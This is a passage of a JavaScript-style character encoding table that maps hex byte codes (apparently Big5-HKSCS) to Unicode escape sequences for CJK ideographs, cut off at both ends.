{20E11}"],["8ba1","\u{27694}\u{282CD}\u{20FB5}\u{20E7B}\u{2517E}\u3703\u{20FB6}\u{21180}\u{252D8}\u{2A2BD}\u{249DA}\u{2183A}\u{24177}\u{2827C}\u5899\u5268\u361A\u{2573D}\u7BB2\u5B68\u4800\u4B2C\u9F27\u49E7\u9C1F\u9B8D\u{25B74}\u{2313D}\u55FB\u35F2\u5689\u4E28\u5902\u{21BC1}\u{2F878}\u9751\u{20086}\u4E5B\u4EBB\u353E\u5C23\u5F51\u5FC4\u38FA\u624C\u6535\u6B7A\u6C35\u6C3A\u706C\u722B\u4E2C\u72AD\u{248E9}\u7F52\u793B\u7CF9\u7F53\u{2626A}\u34C1"],["8bde","\u{2634B}\u8002\u8080\u{26612}\u{26951}\u535D\u8864\u89C1\u{278B2}\u8BA0\u8D1D\u9485\u9578\u957F\u95E8\u{28E0F}\u97E6\u9875\u98CE\u98DE\u9963\u{29810}\u9C7C\u9E1F\u9EC4\u6B6F\uF907\u4E37\u{20087}\u961D\u6237\u94A2"],["8c40","\u503B\u6DFE\u{29C73}\u9FA6\u3DC9\u888F\u{2414E}\u7077\u5CF5\u4B20\u{251CD}\u3559\u{25D30}\u6122\u{28A32}\u8FA7\u91F6\u7191\u6719\u73BA\u{23281}\u{2A107}\u3C8B\u{21980}\u4B10\u78E4\u7402\u51AE\u{2870F}\u4009\u6A63\u{2A2BA}\u4223\u860F\u{20A6F}\u7A2A\u{29947}\u{28AEA}\u9755\u704D\u5324\u{2207E}\u93F4\u76D9\u{289E3}\u9FA7\u77DD\u4EA3\u4FF0\u50BC\u4E2F\u4F17\u9FA8\u5434\u7D8B\u5892\u58D0\u{21DB6}\u5E92\u5E99\u5FC2\u{22712}\u658B"],["8ca1","\u{233F9}\u6919\u6A43\u{23C63}\u6CFF"],["8ca7","\u7200\u{24505}\u738C\u3EDB\u{24A13}\u5B15\u74B9\u8B83\u{25CA4}\u{25695}\u7A93\u7BEC\u7CC3\u7E6C\u82F8\u8597\u9FA9\u8890\u9FAA\u8EB9\u9FAB\u8FCF\u855F\u99E0\u9221\u9FAC\u{28DB9}\u{2143F}\u4071\u42A2\u5A1A"],["8cc9","\u9868\u676B\u4276\u573D"],["8cce","\u85D6\u{2497B}\u82BF\u{2710D}\u4C81\u{26D74}\u5D7B\u{26B15}\u{26FBE}\u9FAD\u9FAE\u5B96\u9FAF\u66E7\u7E5B\u6E57\u79CA\u3D88\u44C3\u{23256}\u{22796}\u439A\u4536"],["8ce6","\u5CD5\u{23B1A}\u8AF9\u5C78\u3D12\u{23551}\u5D78\u9FB2\u7157\u4558\u{240EC}\u{21E23}\u4C77\u3978\u344A\u{201A4}\u{26C41}\u8ACC\u4FB4\u{20239}\u59BF\u816C\u9856\u{298FA}\u5F3B"],["8d40","\u{20B9F}"],["8d42","\u{221C1}\u{2896D}\u4102\u46BB\u{29079}\u3F07\u9FB3\u{2A1B5}\u40F8\u37D6\u46F7\u{26C46}\u417C\u{286B2}\u{273FF}\u456D\u38D4\u{2549A}\u4561\u451B\u4D89\u4C7B\u4D76\u45EA\u3FC8\u{24B0F}\u3661\u44DE\u44BD\u41ED\u5D3E\u5D48\u5D56\u3DFC\u380F\u5DA4\u5DB9\u3820\u3838\u5E42\u5EBD\u5F25\u5F83\u3908\u3914\u393F\u394D\u60D7\u613D\u5CE5\u3989\u61B7\u61B9\u61CF\u39B8\u622C\u6290\u62E5\u6318\u39F8\u56B1"],["8da1","\u3A03\u63E2\u63FB\u6407\u645A\u3A4B\u64C0\u5D15\u5621\u9F9F\u3A97\u6586\u3ABD\u65FF\u6653\u3AF2\u6692\u3B22\u6716\u3B42\u67A4\u6800\u3B58\u684A\u6884\u3B72\u3B71\u3B7B\u6909\u6943\u725C\u6964\u699F\u6985\u3BBC\u69D6\u3BDD\u6A65\u6A74\u6A71\u6A82\u3BEC\u6A99\u3BF2\u6AAB\u6AB5\u6AD4\u6AF6\u6B81\u6BC1\u6BEA\u6C75\u6CAA\u3CCB\u6D02\u6D06\u6D26\u6D81\u3CEF\u6DA4\u6DB1\u6E15\u6E18\u6E29\u6E86\u{289C0}\u6EBB\u6EE2\u6EDA\u9F7F\u6EE8\u6EE9\u6F24\u6F34\u3D46\u{23F41}\u6F81\u6FBE\u3D6A\u3D75\u71B7\u5C99\u3D8A\u702C\u3D91\u7050\u7054\u706F\u707F\u7089\u{20325}\u43C1\u35F1\u{20ED8}"],["8e40","\u{23ED7}\u57BE\u{26ED3}\u713E\u{257E0}\u364E\u69A2\u{28BE9}\u5B74\u7A49\u{258E1}\u{294D9}\u7A65\u7A7D\u{259AC}\u7ABB\u7AB0\u7AC2\u7AC3\u71D1\u{2648D}\u41CA\u7ADA\u7ADD\u7AEA\u41EF\u54B2\u{25C01}\u7B0B\u7B55\u7B29\u{2530E}\u{25CFE}\u7BA2\u7B6F\u839C\u{25BB4}\u{26C7F}\u7BD0\u8421\u7B92\u7BB8\u{25D20}\u3DAD\u{25C65}\u8492\u7BFA\u7C06\u7C35\u{25CC1}\u7C44\u7C83\u{24882}\u7CA6\u667D\u{24578}\u7CC9\u7CC7\u7CE6\u7C74\u7CF3\u7CF5\u7CCE"],["8ea1","\u7E67\u451D\u{26E44}\u7D5D\u{26ED6}\u748D\u7D89\u7DAB\u7135\u7DB3\u7DD2\u{24057}\u{26029}\u7DE4\u3D13\u7DF5\u{217F9}\u7DE5\u{2836D}\u7E1D\u{26121}\u{2615A}\u7E6E\u7E92\u432B\u946C\u7E27\u7F40\u7F41\u7F47\u7936\u{262D0}\u99E1\u7F97\u{26351}\u7FA3\u{21661}\u{20068}\u455C\u{23766}\u4503\u{2833A}\u7FFA\u{26489}\u8005\u8008\u801D\u8028\u802F\u{2A087}\u{26CC3}\u803B\u803C\u8061\u{22714}\u4989\u{26626}\u{23DE3}\u{266E8}\u6725\u80A7\u{28A48}\u8107\u811A\u58B0\u{226F6}\u6C7F\u{26498}\u{24FB8}\u64E7\u{2148A}\u8218\u{2185E}\u6A53\u{24A65}\u{24A95}\u447A\u8229\u{20B0D}\u{26A52}\u{23D7E}\u4FF9\u{214FD}\u84E2\u8362\u{26B0A}\u{249A7}\u{23530}\u{21773}\u{23DF8}\u82AA\u691B\u{2F994}\u41DB"],["8f40","\u854B\u82D0\u831A\u{20E16}\u{217B4}\u36C1\u{2317D}\u{2355A}\u827B\u82E2\u8318\u{23E8B}\u{26DA3}\u{26B05}\u{26B97}\u{235CE}\u3DBF\u831D\u55EC\u8385\u450B\u{26DA5}\u83AC\u83C1\u83D3\u347E\u{26ED4}\u6A57\u855A\u3496\u{26E42}\u{22EEF}\u8458\u{25BE4}\u8471\u3DD3\u44E4\u6AA7\u844A\u{23CB5}\u7958\u84A8\u{26B96}\u{26E77}\u{26E43}\u84DE\u840F\u8391\u44A0\u8493\u84E4\u{25C91}\u4240\u{25CC0}\u4543\u8534\u5AF2\u{26E99}\u4527\u8573\u4516\u67BF\u8616"],["8fa1","\u{28625}\u{2863B}\u85C1\u{27088}\u8602\u{21582}\u{270CD}\u{2F9B2}\u456A\u8628\u3648\u{218A2}\u53F7\u{2739A}\u867E\u8771\u{2A0F8}\u87EE\u{22C27}\u87B1\u87DA\u880F\u5661\u866C\u6856\u460F\u8845\u8846\u{275E0}\u{23DB9}\u{275E4}\u885E\u889C\u465B\u88B4\u88B5\u63C1\u88C5\u7777\u{2770F}\u8987\u898A\u89A6\u89A9\u89A7\u89BC\u{28A25}\u89E7\u{27924}\u{27ABD}\u8A9C\u7793\u91FE\u8A90\u{27A59}\u7AE9\u{27B3A}\u{23F8F}\u4713\u{27B38}\u717C\u8B0C\u8B1F\u{25430}\u{25565}\u8B3F\u8B4C\u8B4D\u8AA9\u{24A7A}\u8B90\u8B9B\u8AAF\u{216DF}\u4615\u884F\u8C9B\u{27D54}\u{27D8F}\u{2F9D4}\u3725\u{27D53}\u8CD6\u{27D98}\u{27DBD}\u8D12\u8D03\u{21910}\u8CDB\u705C\u8D11\u{24CC9}\u3ED0\u8D77"],["9040","\u8DA9\u{28002}\u{21014}\u{2498A}\u3B7C\u{281BC}\u{2710C}\u7AE7\u8EAD\u8EB6\u8EC3\u92D4\u8F19\u8F2D\u{28365}\u{28412}\u8FA5\u9303\u{2A29F}\u{20A50}\u8FB3\u492A\u{289DE}\u{2853D}\u{23DBB}\u5EF8\u{23262}\u8FF9\u{2A014}\u{286BC}\u{28501}\u{22325}\u3980\u{26ED7}\u9037\u{2853C}\u{27ABE}\u9061\u{2856C}\u{2860B}\u90A8\u{28713}\u90C4\u{286E6}\u90AE\u90FD\u9167\u3AF0\u91A9\u91C4\u7CAC\u{28933}\u{21E89}\u920E\u6C9F\u9241\u9262\u{255B9}\u92B9\u{28AC6}\u{23C9B}\u{28B0C}\u{255DB}"],["90a1","\u{20D31}\u932C\u936B\u{28AE1}\u{28BEB}\u708F\u5AC3\u{28AE2}\u{28AE5}\u4965\u9244\u{28BEC}\u{28C39}\u{28BFF}\u9373\u945B\u8EBC\u9585\u95A6\u9426\u95A0\u6FF6\u42B9\u{2267A}\u{286D8}\u{2127C}\u{23E2E}\u49DF\u6C1C\u967B\u9696\u416C\u96A3\u{26ED5}\u61DA\u96B6\u78F5\u{28AE0}\u96BD\u53CC\u49A1\u{26CB8}\u{20274}\u{26410}\u{290AF}\u{290E5}\u{24AD1}\u{21915}\u{2330A}\u9731\u8642\u9736\u4A0F\u453D\u4585\u{24AE9}\u7075\u5B41\u971B\u975C\u{291D5}\u9757\u5B4A\u{291EB}\u975F\u9425\u50D0\u{230B7}\u{230BC}\u9789\u979F\u97B1\u97BE\u97C0\u97D2\u97E0\u{2546C}\u97EE\u741C\u{29433}\u97FF\u97F5\u{2941D}\u{2797A}\u4AD1\u9834\u9833\u984B\u9866\u3B0E\u{27175}\u3D51\u{20630}\u{2415C}"],["9140","\u{25706}\u98CA\u98B7\u98C8\u98C7\u4AFF\u{26D27}\u{216D3}\u55B0\u98E1\u98E6\u98EC\u9378\u9939\u{24A29}\u4B72\u{29857}\u{29905}\u99F5\u9A0C\u9A3B\u9A10\u9A58\u{25725}\u36C4\u{290B1}\u{29BD5}\u9AE0\u9AE2\u{29B05}\u9AF4\u4C0E\u9B14\u9B2D\u{28600}\u5034\u9B34\u{269A8}\u38C3\u{2307D}\u9B50\u9B40\u{29D3E}\u5A45\u{21863}\u9B8E\u{2424B}\u9C02\u9BFF\u9C0C\u{29E68}\u9DD4\u{29FB7}\u{2A192}\u{2A1AB}\u{2A0E1}\u{2A123}\u{2A1DF}\u9D7E\u9D83\u{2A134}\u9E0E\u6888"],["91a1","\u9DC4\u{2215B}\u{2A193}\u{2A220}\u{2193B}\u{2A233}\u9D39\u{2A0B9}\u{2A2B4}\u9E90\u9E95\u9E9E\u9EA2\u4D34\u9EAA\u9EAF\u{24364}\u9EC1\u3B60\u39E5\u3D1D\u4F32\u37BE\u{28C2B}\u9F02\u9F08\u4B96\u9424\u{26DA2}\u9F17\u9F16\u9F39\u569F\u568A\u9F45\u99B8\u{2908B}\u97F2\u847F\u9F62\u9F69\u7ADC\u9F8E\u7216\u4BBE\u{24975}\u{249BB}\u7177\u{249F8}\u{24348}\u{24A51}\u739E\u{28BDA}\u{218FA}\u799F\u{2897E}\u{28E36}\u9369\u93F3\u{28A44}\u92EC\u9381\u93CB\u{2896C}\u{244B9}\u7217\u3EEB\u7772\u7A43\u70D0\u{24473}\u{243F8}\u717E\u{217EF}\u70A3\u{218BE}\u{23599}\u3EC7\u{21885}\u{2542F}\u{217F8}\u3722\u{216FB}\u{21839}\u36E1\u{21774}\u{218D1}\u{25F4B}\u3723\u{216C0}\u575B\u{24A25}\u{213FE}\u{212A8}"],["9240","\u{213C6}\u{214B6}\u8503\u{236A6}\u8503\u8455\u{24994}\u{27165}\u{23E31}\u{2555C}\u{23EFB}\u{27052}\u44F4\u{236EE}\u{2999D}\u{26F26}\u67F9\u3733\u3C15\u3DE7\u586C\u{21922}\u6810\u4057\u{2373F}\u{240E1}\u{2408B}\u{2410F}\u{26C21}\u54CB\u569E\u{266B1}\u5692\u{20FDF}\u{20BA8}\u{20E0D}\u93C6\u{28B13}\u939C\u4EF8\u512B\u3819\u{24436}\u4EBC\u{20465}\u{2037F}\u4F4B\u4F8A\u{25651}\u5A68\u{201AB}\u{203CB}\u3999\u{2030A}\u{20414}\u3435\u4F29\u{202C0}\u{28EB3}\u{20275}\u8ADA\u{2020C}\u4E98"],["92a1","\u50CD\u510D\u4FA2\u4F03\u{24A0E}\u{23E8A}\u4F42\u502E\u506C\u5081\u4FCC\u4FE5\u5058\u50FC\u5159\u515B\u515D\u515E\u6E76\u{23595}\u{23E39}\u{23EBF}\u6D72\u{21884}\u{23E89}\u51A8\u51C3\u{205E0}\u44DD\u{204A3}\u{20492}\u{20491}\u8D7A\u{28A9C}\u{2070E}\u5259\u52A4\u{20873}\u52E1\u936E\u467A\u718C\u{2438C}\u{20C20}\u{249AC}\u{210E4}\u69D1\u{20E1D}\u7479\u3EDE\u7499\u7414\u7456\u7398\u4B8E\u{24ABC}\u{2408D}\u53D0\u3584\u720F\u{240C9}\u55B4\u{20345}\u54CD\u{20BC6}\u571D\u925D\u96F4\u9366\u57DD\u578D\u577F\u363E\u58CB\u5A99\u{28A46}\u{216FA}\u{2176F}\u{21710}\u5A2C\u59B8\u928F\u5A7E\u5ACF\u5A12\u{25946}\u{219F3}\u{21861}\u{24295}\u36F5\u6D05\u7443\u5A21\u{25E83}"],["9340","\u5A81\u{28BD7}\u{20413}\u93E0\u748C\u{21303}\u7105\u4972\u9408\u{289FB}\u93BD\u37A0\u5C1E\u5C9E\u5E5E\u5E48\u{21996}\u{2197C}\u{23AEE}\u5ECD\u5B4F\u{21903}\u{21904}\u3701\u{218A0}\u36DD\u{216FE}\u36D3\u812A\u{28A47}\u{21DBA}\u{23472}\u{289A8}\u5F0C\u5F0E\u{21927}\u{217AB}\u5A6B\u{2173B}\u5B44\u8614\u{275FD}\u8860\u607E\u{22860}\u{2262B}\u5FDB\u3EB8\u{225AF}\u{225BE}\u{29088}\u{26F73}\u61C0\u{2003E}\u{20046}\u{2261B}\u6199\u6198\u6075\u{22C9B}\u{22D07}\u{246D4}\u{2914D}"],["93a1","\u6471\u{24665}\u{22B6A}\u3A29\u{22B22}\u{23450}\u{298EA}\u{22E78}\u6337\u{2A45B}\u64B6\u6331\u63D1\u{249E3}\u{22D67}\u62A4\u{22CA1}\u643B\u656B\u6972\u3BF4\u{2308E}\u{232AD}\u{24989}\u{232AB}\u550D\u{232E0}\u{218D9}\u{2943F}\u66CE\u{23289}\u{231B3}\u3AE0\u4190\u{25584}\u{28B22}\u{2558F}\u{216FC}\u{2555B}\u{25425}\u78EE\u{23103}\u{2182A}\u{23234}\u3464\u{2320F}\u{23182}\u{242C9}\u668E\u{26D24}\u666B\u4B93\u6630\u{27870}\u{21DEB}\u6663\u{232D2}\u{232E1}\u661E\u{25872}\u38D1\u{2383A}\u{237BC}\u3B99\u{237A2}\u{233FE}\u74D0\u3B96\u678F\u{2462A}\u68B6\u681E\u3BC4\u6ABE\u3863\u{237D5}\u{24487}\u6A33\u6A52\u6AC9\u6B05\u{21912}\u6511\u6898\u6A4C\u3BD7\u6A7A\u6B57\u{23FC0}\u{23C9A}\u93A0\u92F2\u{28BEA}\u{28ACB}"],["9440","\u9289\u{2801E}\u{289DC}\u9467\u6DA5\u6F0B\u{249EC}\u6D67\u{23F7F}\u3D8F\u6E04\u{2403C}\u5A3D\u6E0A\u5847\u6D24\u7842\u713B\u{2431A}\u{24276}\u70F1\u7250\u7287\u7294\u{2478F}\u{24725}\u5179\u{24AA4}\u{205EB}\u747A\u{23EF8}\u{2365F}\u{24A4A}\u{24917}\u{25FE1}\u3F06\u3EB1\u{24ADF}\u{28C23}\u{23F35}\u60A7\u3EF3\u74CC\u743C\u9387\u7437\u449F\u{26DEA}\u4551\u7583\u3F63\u{24CD9}\u{24D06}\u3F58\u7555\u7673\u{2A5C6}\u3B19\u7468\u{28ACC}\u{249AB}\u{2498E}\u3AFB"],["94a1","\u3DCD\u{24A4E}\u3EFF\u{249C5}\u{248F3}\u91FA\u5732\u9342\u{28AE3}\u{21864}\u50DF\u{25221}\u{251E7}\u7778\u{23232}\u770E\u770F\u777B\u{24697}\u{23781}\u3A5E\u{248F0}\u7438\u749B\u3EBF\u{24ABA}\u{24AC7}\u40C8\u{24A96}\u{261AE}\u9307\u{25581}\u781E\u788D\u7888\u78D2\u73D0\u7959\u{27741}\u{256E3}\u410E\u799B\u8496\u79A5\u6A2D\u{23EFA}\u7A3A\u79F4\u416E\u{216E6}\u4132\u9235\u79F1\u{20D4C}\u{2498C}\u{20299}\u{23DBA}\u{2176E}\u3597\u556B\u3570\u36AA\u{201D4}\u{20C0D}\u7AE2\u5A59\u{226F5}\u{25AAF}\u{25A9C}\u5A0D\u{2025B}\u78F0\u5A2A\u{25BC6}\u7AFE\u41F9\u7C5D\u7C6D\u4211\u{25BB3}\u{25EBC}\u{25EA6}\u7CCD\u{249F9}\u{217B0}\u7C8E\u7C7C\u7CAE\u6AB2\u7DDC\u7E07\u7DD3\u7F4E\u{26261}"],["9540","\u{2615C}\u{27B48}\u7D97\u{25E82}\u426A\u{26B75}\u{20916}\u67D6\u{2004E}\u{235CF}\u57C4\u{26412}\u{263F8}\u{24962}\u7FDD\u7B27\u{2082C}\u{25AE9}\u{25D43}\u7B0C\u{25E0E}\u99E6\u8645\u9A63\u6A1C\u{2343F}\u39E2\u{249F7}\u{265AD}\u9A1F\u{265A0}\u8480\u{27127}\u{26CD1}\u44EA\u8137\u4402\u80C6\u8109\u8142\u{267B4}\u98C3\u{26A42}\u8262\u8265\u{26A51}\u8453\u{26DA7}\u8610\u{2721B}\u5A86\u417F\u{21840}\u5B2B\u{218A1}\u5AE4\u{218D8}\u86A0\u{2F9BC}\u{23D8F}\u882D\u{27422}\u5A02"],["95a1","\u886E\u4F45\u8887\u88BF\u88E6\u8965\u894D\u{25683}\u8954\u{27785}\u{27784}\u{28BF5}\u{28BD9}\u{28B9C}\u{289F9}\u3EAD\u84A3\u46F5\u46CF\u37F2\u8A3D\u8A1C\u{29448}\u5F4D\u922B\u{24284}\u65D4\u7129\u70C4\u{21845}\u9D6D\u8C9F\u8CE9\u{27DDC}\u599A\u77C3\u59F0\u436E\u36D4\u8E2A\u8EA7\u{24C09}\u8F30\u8F4A\u42F4\u6C58\u6FBB\u{22321}\u489B\u6F79\u6E8B\u{217DA}\u9BE9\u36B5\u{2492F}\u90BB\u9097\u5571\u4906\u91BB\u9404\u{28A4B}\u4062\u{28AFC}\u9427\u{28C1D}\u{28C3B}\u84E5\u8A2B\u9599\u95A7\u9597\u9596\u{28D34}\u7445\u3EC2\u{248FF}\u{24A42}\u{243EA}\u3EE7\u{23225}\u968F\u{28EE7}\u{28E66}\u{28E65}\u3ECC\u{249ED}\u{24A78}\u{23FEE}\u7412\u746B\u3EFC\u9741\u{290B0}"],["9640","\u6847\u4A1D\u{29093}\u{257DF}\u975D\u9368\u{28989}\u{28C26}\u{28B2F}\u{263BE}\u92BA\u5B11\u8B69\u493C\u73F9\u{2421B}\u979B\u9771\u9938\u{20F26}\u5DC1\u{28BC5}\u{24AB2}\u981F\u{294DA}\u92F6\u{295D7}\u91E5\u44C0\u{28B50}\u{24A67}\u{28B64}\u98DC\u{28A45}\u3F00\u922A\u4925\u8414\u993B\u994D\u{27B06}\u3DFD\u999B\u4B6F\u99AA\u9A5C\u{28B65}\u{258C8}\u6A8F\u9A21\u5AFE\u9A2F\u{298F1}\u4B90\u{29948}\u99BC\u4BBD\u4B97\u937D\u5872\u{21302}\u5822\u{249B8}"],["96a1","\u{214E8}\u7844\u{2271F}\u{23DB8}\u68C5\u3D7D\u9458\u3927\u6150\u{22781}\u{2296B}\u6107\u9C4F\u9C53\u9C7B\u9C35\u9C10\u9B7F\u9BCF\u{29E2D}\u9B9F\u{2A1F5}\u{2A0FE}\u9D21\u4CAE\u{24104}\u9E18\u4CB0\u9D0C\u{2A1B4}\u{2A0ED}\u{2A0F3}\u{2992F}\u9DA5\u84BD\u{26E12}\u{26FDF}\u{26B82}\u85FC\u4533\u{26DA4}\u{26E84}\u{26DF0}\u8420\u85EE\u{26E00}\u{237D7}\u{26064}\u79E2\u{2359C}\u{23640}\u492D\u{249DE}\u3D62\u93DB\u92BE\u9348\u{202BF}\u78B9\u9277\u944D\u4FE4\u3440\u9064\u{2555D}\u783D\u7854\u78B6\u784B\u{21757}\u{231C9}\u{24941}\u369A\u4F72\u6FDA\u6FD9\u701E\u701E\u5414\u{241B5}\u57BB\u58F3\u578A\u9D16\u57D7\u7134\u34AF\u{241AC}\u71EB\u{26C40}\u{24F97}\u5B28\u{217B5}\u{28A49}"],["9740","\u610C\u5ACE\u5A0B\u42BC\u{24488}\u372C\u4B7B\u{289FC}\u93BB\u93B8\u{218D6}\u{20F1D}\u8472\u{26CC0}\u{21413}\u{242FA}\u{22C26}\u{243C1}\u5994\u{23DB7}\u{26741}\u7DA8\u{2615B}\u{260A4}\u{249B9}\u{2498B}\u{289FA}\u92E5\u73E2\u3EE9\u74B4\u{28B63}\u{2189F}\u3EE1\u{24AB3}\u6AD8\u73F3\u73FB\u3ED6\u{24A3E}\u{24A94}\u{217D9}\u{24A66}\u{203A7}\u{21424}\u{249E5}\u7448\u{24916}\u70A5\u{24976}\u9284\u73E6\u935F\u{204FE}\u9331\u{28ACE}\u{28A16}\u9386\u{28BE7}\u{255D5}\u4935\u{28A82}\u716B"],["97a1","\u{24943}\u{20CFF}\u56A4\u{2061A}\u{20BEB}\u{20CB8}\u5502\u79C4\u{217FA}\u7DFE\u{216C2}\u{24A50}\u{21852}\u452E\u9401\u370A\u{28AC0}\u{249AD}\u59B0\u{218BF}\u{21883}\u{27484}\u5AA1\u36E2\u{23D5B}\u36B0\u925F\u5A79\u{28A81}\u{21862}\u9374\u3CCD\u{20AB4}\u4A96\u398A\u50F4\u3D69\u3D4C\u{2139C}\u7175\u42FB\u{28218}\u6E0F\u{290E4}\u44EB\u6D57\u{27E4F}\u7067\u6CAF\u3CD6\u{23FED}\u{23E2D}\u6E02\u6F0C\u3D6F\u{203F5}\u7551\u36BC\u34C8\u4680\u3EDA\u4871\u59C4\u926E\u493E\u8F41\u{28C1C}\u{26BC0}\u5812\u57C8\u36D6\u{21452}\u70FE\u{24362}\u{24A71}\u{22FE3}\u{212B0}\u{223BD}\u68B9\u6967\u{21398}\u{234E5}\u{27BF4}\u{236DF}\u{28A83}\u{237D6}\u{233FA}\u{24C9F}\u6A1A\u{236AD}\u{26CB7}\u843E\u44DF\u44CE"],["9840","\u{26D26}\u{26D51}\u{26C82}\u{26FDE}\u6F17\u{27109}\u833D\u{2173A}\u83ED\u{26C80}\u{27053}\u{217DB}\u5989\u5A82\u{217B3}\u5A61\u5A71\u{21905}\u{241FC}\u372D\u59EF\u{2173C}\u36C7\u718E\u9390\u669A\u{242A5}\u5A6E\u5A2B\u{24293}\u6A2B\u{23EF9}\u{27736}\u{2445B}\u{242CA}\u711D\u{24259}\u{289E1}\u4FB0\u{26D28}\u5CC2\u{244CE}\u{27E4D}\u{243BD}\u6A0C\u{24256}\u{21304}\u70A6\u7133\u{243E9}\u3DA5\u6CDF\u{2F825}\u{24A4F}\u7E65\u59EB\u5D2F\u3DF3\u5F5C\u{24A5D}\u{217DF}\u7DA4\u8426"],["98a1","\u5485\u{23AFA}\u{23300}\u{20214}\u577E\u{208D5}\u{20619}\u3FE5\u{21F9E}\u{2A2B6}\u7003\u{2915B}\u5D70\u738F\u7CD3\u{28A59}\u{29420}\u4FC8\u7FE7\u72CD\u7310\u{27AF4}\u7338\u7339\u{256F6}\u7341\u7348\u3EA9\u{27B18}\u906C\u71F5\u{248F2}\u73E1\u81F6\u3ECA\u770C\u3ED1\u6CA2\u56FD\u7419\u741E\u741F\u3EE2\u3EF0\u3EF4\u3EFA\u74D3\u3F0E\u3F53\u7542\u756D\u7572\u758D\u3F7C\u75C8\u75DC\u3FC0\u764D\u3FD7\u7674\u3FDC\u767A\u{24F5C}\u7188\u5623\u8980\u5869\u401D\u7743\u4039\u6761\u4045\u35DB\u7798\u406A\u406F\u5C5E\u77BE\u77CB\u58F2\u7818\u70B9\u781C\u40A8\u7839\u7847\u7851\u7866\u8448\u{25535}\u7933\u6803\u7932\u4103"],["9940","\u4109\u7991\u7999\u8FBB\u7A06\u8FBC\u4167\u7A91\u41B2\u7ABC\u8279\u41C4\u7ACF\u7ADB\u41CF\u4E21\u7B62\u7B6C\u7B7B\u7C12\u7C1B\u4260\u427A\u7C7B\u7C9C\u428C\u7CB8\u4294\u7CED\u8F93\u70C0\u{20CCF}\u7DCF\u7DD4\u7DD0\u7DFD\u7FAE\u7FB4\u729F\u4397\u8020\u8025\u7B39\u802E\u8031\u8054\u3DCC\u57B4\u70A0\u80B7\u80E9\u43ED\u810C\u732A\u810E\u8112\u7560\u8114\u4401\u3B39\u8156\u8159\u815A"],["99a1","\u4413\u583A\u817C\u8184\u4425\u8193\u442D\u81A5\u57EF\u81C1\u81E4\u8254\u448F\u82A6\u8276\u82CA\u82D8\u82FF\u44B0\u8357\u9669\u698A\u8405\u70F5\u8464\u60E3\u8488\u4504\u84BE\u84E1\u84F8\u8510\u8538\u8552\u453B\u856F\u8570\u85E0\u4577\u8672\u8692\u86B2\u86EF\u9645\u878B\u4606\u4617\u88AE\u88FF\u8924\u8947\u8991\u{27967}\u8A29\u8A38\u8A94\u8AB4\u8C51\u8CD4\u8CF2\u8D1C\u4798\u585F\u8DC3\u47ED\u4EEE\u8E3A\u55D8\u5754\u8E71\u55F5\u8EB0\u4837\u8ECE\u8EE2\u8EE4\u8EED\u8EF2\u8FB7\u8FC1\u8FCA\u8FCC\u9033\u99C4\u48AD\u98E0\u9213\u491E\u9228\u9258\u926B\u92B1\u92AE\u92BF"],["9a40","\u92E3\u92EB\u92F3\u92F4\u92FD\u9343\u9384\u93AD\u4945\u4951\u9EBF\u9417\u5301\u941D\u942D\u943E\u496A\u9454\u9479\u952D\u95A2\u49A7\u95F4\u9633\u49E5\u67A0\u4A24\u9740\u4A35\u97B2\u97C2\u5654\u4AE4\u60E8\u98B9\u4B19\u98F1\u5844\u990E\u9919\u51B4\u991C\u9937\u9942\u995D\u9962\u4B70\u99C5\u4B9D\u9A3C\u9B0F\u7A83\u9B69\u9B81\u9BDD\u9BF1\u9BF4\u4C6D\u9C20\u376F\u{21BC2}\u9D49\u9C3A"],["9aa1","\u9EFE\u5650\u9D93\u9DBD\u9DC0\u9DFC\u94F6\u8FB6\u9E7B\u9EAC\u9EB1\u9EBD\u9EC6\u94DC\u9EE2\u9EF1\u9EF8\u7AC8\u9F44\u{20094}\u{202B7}\u{203A0}\u691A\u94C3\u59AC\u{204D7}\u5840\u94C1\u37B9\u{205D5}\u{20615}\u{20676}\u{216BA}\u5757\u7173\u{20AC2}\u{20ACD}\u{20BBF}\u546A\u{2F83B}\u{20BCB}\u549E\u{20BFB}\u{20C3B}\u{20C53}\u{20C65}\u{20C7C}\u60E7\u{20C8D}\u567A\u{20CB5}\u{20CDD}\u{20CED}\u{20D6F}\u{20DB2}\u{20DC8}\u6955\u9C2F\u87A5\u{20E04}\u{20E0E}\u{20ED7}\u{20F90}\u{20F2D}\u{20E73}\u5C20\u{20FBC}\u5E0B\u{2105C}\u{2104F}\u{21076}\u671E\u{2107B}\u{21088}\u{21096}\u3647\u{210BF}\u{210D3}\u{2112F}\u{2113B}\u5364\u84AD\u{212E3}\u{21375}\u{21336}\u8B81\u{21577}\u{21619}\u{217C3}\u{217C7}\u4E78\u70BB\u{2182D}\u{2196A}"],["9b40","\u{21A2D}\u{21A45}\u{21C2A}\u{21C70}\u{21CAC}\u{21EC8}\u62C3\u{21ED5}\u{21F15}\u7198\u6855\u{22045}\u69E9\u36C8\u{2227C}\u{223D7}\u{223FA}\u{2272A}\u{22871}\u{2294F}\u82FD\u{22967}\u{22993}\u{22AD5}\u89A5\u{22AE8}\u8FA0\u{22B0E}\u97B8\u{22B3F}\u9847\u9ABD\u{22C4C}"],["9b62","\u{22C88}\u{22CB7}\u{25BE8}\u{22D08}\u{22D12}\u{22DB7}\u{22D95}\u{22E42}\u{22F74}\u{22FCC}\u{23033}\u{23066}\u{2331F}\u{233DE}\u5FB1\u6648\u66BF\u{27A79}\u{23567}\u{235F3}\u7201\u{249BA}\u77D7\u{2361A}\u{23716}\u7E87\u{20346}\u58B5\u670E"],["9ba1","\u6918\u{23AA7}\u{27657}\u{25FE2}\u{23E11}\u{23EB9}\u{275FE}\u{2209A}\u48D0\u4AB8\u{24119}\u{28A9A}\u{242EE}\u{2430D}\u{2403B}\u{24334}\u{24396}\u{24A45}\u{205CA}\u51D2\u{20611}\u599F\u{21EA8}\u3BBE\u{23CFF}\u{24404}\u{244D6}\u5788\u{24674}\u399B\u{2472F}\u{285E8}\u{299C9}\u3762\u{221C3}\u8B5E\u{28B4E}\u99D6\u{24812}\u{248FB}\u{24A15}\u7209\u{24AC0}\u{20C78}\u5965\u{24EA5}\u{24F86}\u{20779}\u8EDA\u{2502C}\u528F\u573F\u7171\u{25299}\u{25419}\u{23F4A}\u{24AA7}\u55BC\u{25446}\u{2546E}\u{26B52}\u91D4\u3473\u{2553F}\u{27632}\u{2555E}\u4718\u{25562}\u{25566}\u{257C7}\u{2493F}\u{2585D}\u5066\u34FB\u{233CC}\u60DE\u{25903}\u477C\u{28948}\u{25AAE}\u{25B89}\u{25C06}\u{21D90}\u57A1\u7151\u6FB6\u{26102}\u{27C12}\u9056\u{261B2}\u{24F9A}\u8B62\u{26402}\u{2644A}"],["9c40","\u5D5B\u{26BF7}\u8F36\u{26484}\u{2191